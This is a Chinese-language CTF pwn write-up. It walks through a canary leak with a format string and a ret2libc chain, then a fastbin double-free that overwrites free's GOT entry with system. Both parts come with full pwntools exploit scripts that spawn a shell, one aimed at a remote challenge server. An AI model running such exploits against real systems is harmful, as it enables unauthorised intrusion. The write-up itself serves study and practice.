这篇文章是我在我志琦哥 我们工作室 负责人 旁边 我俩上数据库课 我看着他一步一步 搞出来的
太强了 不过现在应该还在和我一样自闭中。。。
这个题 有
canary 保护 然后这个题 思路就是 找到 canary的偏移 然后泄露libc 库 然后 获取 system 地址
x64 要找 pop
这里 获取到 puts函数的地址
但是这个题 并没有给我 lib库 我只能 自己用文件夹找 然后找到了 find 但是呢 我看我志琦哥用的是
one_gadget 但是 感觉 one_gadget 会有问题 我都是 能用 system 就用system
还有一点就是 题目没有给so库 那么我们可以根据泄露出的函数地址来找so库
最后得出flag
exp
from pwn import*
io=remote('61.164.47.198',10005)
elf=ELF('./pwn')
libc=ELF('./libc6_2.23.so')
lib_system=libc.symbols['system']
fun_main=0x4009A0
put_got=elf.got['puts']
put_plt=elf.plt['puts']
pop_rdi=0x400bd3
io.recvuntil('Please Tell Your ID:')
io.sendline("%15$p")
io.recvuntil('Hello ')
can_addr=int(io.recv(18)[2:],16)
print hex(can_addr)
payload='a'*136+p64(can_addr)+p64(0)+p64(pop_rdi)+p64(put_got)+p64(put_plt)+p64(fun_main)
io.recvuntil('Tell me the size of your story:')
io.sendline('1000')
io.recvuntil('You can speak your story:')
io.sendline(payload)
print io.recv()
put_addr=u64(io.recv(6)+'\00'+'\00')
print hex(put_addr)#
# main
libc_base=put_addr-libc.symbols['puts']
sysyem_addr=lib_system+libc_base
bin_addr = libc_base + libc.search('/bin/sh').next()
io.recvuntil('Tell me the size of your story:')
io.sendline('1000')
io.recvuntil('You can speak your story:')
payload='a'*136+p64(can_addr)+p64(0)+p64(pop_rdi)+p64(bin_addr)+p64(sysyem_addr)
io.sendline(payload)
io.interactive()
io.close()
然后。。 这个题 是根据大佬的博客写的 但是大佬的博客没有详解 我详解一下 大佬博客地址
https://www.jianshu.com/p/c14970447ddd
我真滴菜~~~ 这篇博客 还是和研究所大二负责人 志琦大佬 才明白的 虽然 有一部分原因是自己 有点晕了 但是 还是对堆的理解不够
第一开始 我是不是很理解的是 为什么0号非要0x30 换成0x20 或者0x10 就就不可以
然后我gdb 调试了一下
这个0x30 显而易见的是
所以 我们需要0x30。。。。。 要不然 堆的大小不对会直接报错。。
fd 的变化 成功leak
然后因为堆认为自己申请到了 存放内容的地址是 0x6010b0 所以
这里地址对应的是 heap_list [heap_list[2*6] ]=heap_list[2*1]
然后就是对应写出wp 就可以了 我真的太菜了 菜哭了 这个博客的exp 是按照上面那个链接写的 。。
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
io = process('./noinfoleak')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
elf=ELF('./noinfoleak')
free_offest=0x601018
heap_list_addr=0x6010A0
def add(size,con):
io.sendlineafter('>','1')
io.sendlineafter('>',str(size))
io.sendlineafter('>',con)
def dele(index):
io.sendlineafter('>','2')
io.sendlineafter('>',str(index))
def edit(index,con):
io.sendlineafter('>','3')
io.sendlineafter('>',str(index))
io.sendafter('>',con)
if __name__ =='__main__':
add(0x30,'/bin/sh\x00')
add(0x20,'aaaa')
add(0x20,'aaaa')
dele(1)
dele(2)
dele(1)
add(0x20,p64(heap_list_addr))
add(0x20,'aaaa')
add(0x20,'aaaa')
add(0x20,p64(free_offest))
edit(1,p64(elf.plt['puts']))
edit(6,p64(elf.got['puts']))
dele(1)
libc_base=u64(io.recvline()[:-1].ljust(8,'\x00'))-libc.symbols['puts']
system_addr=libc_base+libc.symbols['system']
edit(6,p64(elf.got['free']))
edit(1,p64(system_addr))
dele(0)
io.interactive()